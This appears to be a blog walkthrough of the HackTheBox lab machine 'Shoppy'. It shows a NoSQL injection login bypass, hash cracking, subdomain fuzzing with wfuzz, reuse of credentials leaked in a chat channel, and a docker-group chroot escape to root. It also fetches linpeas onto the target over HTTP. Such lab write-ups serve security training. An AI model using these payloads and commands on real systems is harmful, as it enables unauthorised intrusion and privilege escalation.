Buy me a tea

Hackthebox - Shoppy

  • Linux

Shoppy

Nmap

Port 80

  • According to nmap we should change our hosts fil /etc/hosts and add this line 10.10.11.180 shoppy.htb

  • If we then browse to http://shoppy.htb/ we get this page shoppy

Gobuster

  • Let's try a bigger wordlist

  • We have a login page login

  • We can try nosql injection. This Video of Farah Hawa explains it very well

  • Using the video I tried a few payload and got an interesting output with this one

  • We get an error that reveals a username jaeger error

  • I did forget the quotes for the $gt. Let's try this

  • We get the same error

  • Let's have a look at NoSQLInjection payloads from payloadAllTheThings

  • These give a 504

  • We do not get anything here let's try this || 1==1 which looks like the classic sql injection translated in noSQL. You cand find it in this section of payloadAllTheThings github

  • So let's change our request back in x-www-form-urlencoded. I tried with the username jaeger and got nothing but with admin it worked.

  • Here is the working request

  • We can see that we get a cookie and are redirected

response

  • Once logged in we get this page

admin

  • We have function search user.

  • If we look for admin we get the possibility to "Download Export" which gives json file.

search

  • Here is the json we get when downloading the export

export

  • We have a hash for the admin password 23c6877d9e2b564ef8b32c3a23de27b2

  • Let's try to crack it. Before using hashcat I like to check on

crackstation. It does not find it so let's try to crack it

  • Just for sanitiy I checked it with hash-identifier it is MD5

  • No luck with hashcat either. Let's explore the website again. Let's try again with nosqlinjection on the search field. We might get more users this way.

  • Ok I am trying the exact same paylaod

payload

  • It works we get one more user list of users

  • Let's try to crack josh's password now. And it works with crackstation! remembermethisway

john's password

  • The password does not work on ssh

  • Maybe it's time to enumerate subdomain. I always forget to do it at the begining but here it is worth trying because this password must work somewhere else.

  • I tried the big list in web content of sec list but had no luck the one that worked is the first in the DNS folder wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u 'http://shoppy.htb/' -H "HOST: FUZZ.shoppy.htb" --hc 301

  • We have something here. Let's add it in our /etc/hosts file 10.10.11.180 shoppy.htb mattermost.shoppy.htb And when we browse to http://mattermost.shoppy.htb/ we end up here.

  • Now let's try to login with our cracked password josh:remembermethisway

  • And it works mattermost

  • Here are more info about mattermost

  • It is a platform with workspaces and chat for work. The version is 7.1.2 as we can see in the about pop up here

version

  • If we browse we can find some sensitive information in the "Deploy Machine" channel

deploy machine

  • Let's try to connect with ssh with these jaeger:Sh0ppyBest@pp!. It works

shell

Privilege Escalation

From jaeger to deploy

  • First let's sudo -l

sudo l

Let's have a look at this password-manager thing. There was a hint about it also in mattermost.

  • If we launch it it will ask for a password sudo -u deploy /home/deploy/password-manager

  • we need to lookup for a password in the files we can read.

  • Let's make a strings on the binary strings /home/deploy/password-manager. The following lines are interesting

strings

  • Maybe if we use cat we will actually see a password cat /home/deploy/password-manager

password

  • Let's try Sample as a password. It works. We get another password Deploying@pp! the one for the user deploy

password

From deploy to root

  • We can now ssh as deploy

ssh deploy

  • sudo -l does not help here let's get linpeas. Here are the spec of our target Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 GNU/Linux

  • wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64

  • python3 -m http.server 80

  • And in our target wget http://10.10.14.4/linpeas_linux_amd64

  • chmod +x linpeas_linux_amd64

  • ./linpeas_linux_amd64

  • So we need to analyze further a few things

    • It mentions docker as a 95% pe vector so def worth having a look. The deploy user is a member of the docker group. Also I remember of an example that was using this. Let's check gtfobins

  • We can run docker run -v /:/mnt --rm -it alpine chroot /mnt sh and it works! We are now root and can grab the last flag.

root
PreviousHackthebox - SecNotesNextHackthebox - Soccer

Last updated